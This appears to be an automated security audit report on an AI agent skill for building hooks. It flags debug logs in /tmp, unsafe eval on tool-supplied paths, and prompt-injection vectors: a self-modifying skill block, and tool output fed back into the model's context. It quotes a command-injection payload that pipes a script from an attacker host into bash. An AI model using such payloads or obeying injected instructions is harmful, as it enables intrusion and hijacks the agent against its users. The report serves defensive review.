hooks-development

Warn

Audited by Gen Agent Trust Hub on Oct 8, 2026

Risk Level: MEDIUMDATA_EXFILTRATIONCOMMAND_EXECUTIONDYNAMIC_EXECUTIONPROMPT_INJECTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [DATA_EXPOSURE]: The references/debugging-guide.md file provides a debugging template that logs the entire hook payload, including tool inputs and outputs, to /tmp/my-hook-debug.log. Since /tmp is typically world-readable on multi-user systems, this practice can expose sensitive data processed by the agent (such as credentials, private code, or internal tool responses) to other users.
  • [DYNAMIC_EXECUTION]: Multiple templates in references/hook-templates.md and references/visibility-patterns.md demonstrate using eval echo "$FILE_PATH" to perform shell expansion on tool inputs. This pattern is highly vulnerable to command injection; if an attacker can influence a tool's file path argument, they could execute arbitrary shell commands (e.g., by providing a path like ; curl attacker.com/shell | bash).
  • [PROMPT_INJECTION]: The SKILL.md file contains a 'Self-Evolving Skill' block that instructs the agent to 'fix this file immediately' if issues are found. While intended for autonomous improvement, this creates a vector for persistent prompt injection where an attacker could influence the agent to write malicious instructions back into the skill definition, which would then be followed in future sessions.
  • [INDIRECT_PROMPT_INJECTION]: The skill describes building hooks that ingest tool execution data and inject context back into the LLM conversation via additionalContext and reason fields.
  • Ingestion points: Hooks receive tool payloads (inputs and outputs) via stdin as shown in references/hook-templates.md.
  • Boundary markers: The provided templates do not implement sanitization or boundary markers for the data being injected back into the LLM context, increasing the risk of the agent obeying instructions embedded in tool outputs.
  • Capability inventory: The templates demonstrate significant capabilities including shell command execution (Bash), local file writes (>> /tmp), and dynamic execution (eval).
  • Sanitization: Not present in the provided templates; the use of eval directly on tool inputs is explicitly unsafe.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Oct 8, 2026, 02:16 AM